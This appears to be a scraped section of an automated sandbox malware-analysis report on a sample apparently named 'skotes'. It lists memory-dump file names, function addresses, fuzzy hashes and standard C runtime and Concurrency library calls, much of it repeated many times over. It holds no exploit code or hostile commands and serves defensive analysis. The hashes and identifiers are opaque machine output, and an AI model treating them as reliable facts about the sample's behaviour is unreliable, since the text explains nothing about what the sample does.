Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 80577a6284836691ca90c964a864809960431c3466fe4d6ec214699ba66dd850
Instruction ID: 03daf8ea8679b2fd2af608e3e3bddc0d83cfe082e2f8d2a198ebe187114a4562
Opcode Fuzzy Hash: 80577a6284836691ca90c964a864809960431c3466fe4d6ec214699ba66dd850
Instruction Fuzzy Hash: 04316636B402148FDF19AF60C885EAD73E6EF89710F1841B9E9099F391DF34AD058B90

Function 00B92CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00B92D0F

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: c38688ee3900546352185ed13726681f16bc5faf03cb739eb1f75eec09d36d3e
Instruction ID: 2384adc35e9167451aec5f8f9a07f221e8913bbb4872c21fb0712b74754c9608
Opcode Fuzzy Hash: c38688ee3900546352185ed13726681f16bc5faf03cb739eb1f75eec09d36d3e
Instruction Fuzzy Hash: B5311475A00209EFCF14EF94C8C0AAEBBF9EF45310F1404BAD901AB246D730A945DBA0

Function 00BA13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BA13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00BA1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00BA147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00BA152A

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 9405a388c8237a0f7057adbd38482d98d990a82ba34268f03725d669061a2d57
Instruction ID: 9f148a1707a2fd33985c2a081c01d15fa1d2ab3f1011d0f66aecd645f70e692d
Opcode Fuzzy Hash: 9405a388c8237a0f7057adbd38482d98d990a82ba34268f03725d669061a2d57
Instruction Fuzzy Hash: 31314D71A006069BCF54EFACC4919EDFBF5BF49710B1486ADE426AB391CB34A941CB90

Function 00B8BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B8BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BBE4
_xtime_get.LIBCPMT ref: 00B8BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BC13

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction ID: c1034d018e4d5d807eece966ff2eea3c3e0240c48f0bfd06f3875702650fe5c1
Opcode Fuzzy Hash: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction Fuzzy Hash: 0821EBB5A00119AFDF00FBA4D885DBEBBB9EF48710F1040A5FA01A7261DB349D05DBA1

Function 00B99C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B99C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00B99CE8
std::bad_exception::bad_exception.LIBCMT ref: 00B99CFE
std::bad_exception::bad_exception.LIBCMT ref: 00B99D6A

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 772541e0a0c405436af895244e531f4407373a4e12893bf40a4faf571198f99f
Instruction ID: 6e7f328741835c4e88a06c0fdfc02318384861af381d60e1faa9ec46a2f279f5
Opcode Fuzzy Hash: 772541e0a0c405436af895244e531f4407373a4e12893bf40a4faf571198f99f
Instruction Fuzzy Hash: 51213B769046059FDF45EF68D8829ADB7E5AF05710B2040FEF011AB2A2EB716E01CB51

Function 00B9A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00B9A069

Part of subcall function 00B9B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00B9B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00B9A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00B9A0CB

Part of subcall function 00B9AB41: List.LIBCONCRT ref: 00B9AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00B9A0DB

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
